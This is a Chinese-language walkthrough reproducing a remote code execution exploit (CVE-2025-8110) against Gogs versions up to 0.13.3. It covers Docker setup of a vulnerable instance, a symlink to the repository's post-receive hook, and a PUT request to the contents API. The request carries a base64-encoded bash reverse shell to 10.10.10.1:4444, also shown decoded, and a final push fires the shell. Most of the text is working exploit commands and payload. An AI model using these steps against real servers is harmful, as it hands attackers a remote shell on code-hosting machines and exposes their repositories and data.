CVE-2025-8110 gogs rce 复现
Gogs(Go Git Service)是一款基于 Go 语言开发的、极易搭建的自助开源 Git 代码托管平台,旨在提供最简单、快速且轻量级的私有 Git 服务。它类似于 GitHub 或 GitLab,支持 Windows、Linux、Mac 及 ARM 平台(如树莓派),非常适合个人开发者或中小团队使用。
影响范围 <=0.13.3
这里使用dokcer进行部署
docker run -d \
--name gogs_vuln \
-p 3000:3000 \
-p 2022:22 \
gogs/gogs:0.13.3
完成之后会提示安装,安装过程建议选sqlite数据库(省事),直接完成就行
安装完毕之后,随意注册一个账号并创建好一个仓库
git clone 仓库
ln -s /data/git/gogs-repositories/仓库用户名/仓库名.git/hooks/post-receive rce
git add .
git commit "rce"
git push
点击右上角个人头像处–>用户设置–>授权应用–>生成新的令牌
记得复制这个令牌,只会出现一次

现在使用下面poc
PUT /api/v1/repos/ceshi/aaaa/contents/rce HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: application/json
Authorization: token 66d3981ec7ee42d376fdc15f22bffcf524ca983d
Content-Length: 169
{
"message": "rce",
"content": "IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzQ0NDQgMD4mMQ==",
"branch": "master"
}
/api/v1/repos/用户名/仓库名/contents/上一步做好软链的名字
把token 改为刚才复制的token
content参数的内容需要base64编码
我poc上面的是
!/bin/bash
bash -i >& /dev/tcp/10.10.10.1/4444 0>&1

返回201就代表成功了,然后继续下一步
这时随便push一个文件就行了
touch pwn
git add pwn
git commit -m "pwn"
git push

成功收到shell
